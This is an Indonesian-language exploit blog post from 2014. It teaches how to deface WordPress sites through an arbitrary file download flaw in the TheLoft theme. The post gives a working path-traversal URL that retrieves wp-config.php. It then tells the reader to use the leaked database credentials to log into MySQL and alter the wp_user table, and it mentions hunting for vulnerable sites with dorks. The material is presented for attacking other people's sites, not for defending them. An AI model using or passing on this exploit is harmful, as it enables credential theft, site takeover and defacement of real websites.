• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar

LinuxSec Exploit

Nothing is Ever Locked

  • XSS Payloads
  • About Us

Deface WordPress dengan Exploit WordPress TheLoft Theme Arbitrary File Download Vulnerability

September 16, 2014 by Jack Wilder 1 Comment

Oke kali ini saya mau share exploit deface yang digunakan untuk deface wordpress. Namanya WordPress TheLoft Theme Arbitrary File Download Vulnerability. Termasuk exploit baru sih . Tinggal bagaimana dork yang kita gunakan .

Exploit :

  • http://localhost/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php

Buka file wp-config.php nya, disitu ada user dan password untuk login database.

Sekian tutorial kali ini semoga bermanfaat.Jika db host nya localhost, cari yang lain lagi. cari yang pake url/server :p
Login MySQL, modif wp_user nya .

Shares

Filed Under: WordPress Exploit Tagged With: Exploit, Hacking

Reader Interactions

Comments

  1. Mr.error says

    October 27, 2020 at 9:49 am

    Dorknya mana kak

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Popular Post

RCE pada Redis via Master-Slave Replication

Download 1n73ct10n / 1n73ction Privat Web Shell by X’1N73CT

Deface dengan Metode Timthumb Remote Code Execution

Exploit WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload Vulnerability

CVE-2019-13360 – CentOS Control Web Panel Authentication Bypass

Zendesk Custom Domain or Subdomain Takeover

Hack Targeted Website using Reverse IP

Cara Mudah Hack cPanel dengan Fitur Reset Password

WordPress Plugin CopySafe PDF Protection Shell Upload

Laravel PHPUnit Remote Code Execution

LinuxSec / 73 queries in 0.11 seconds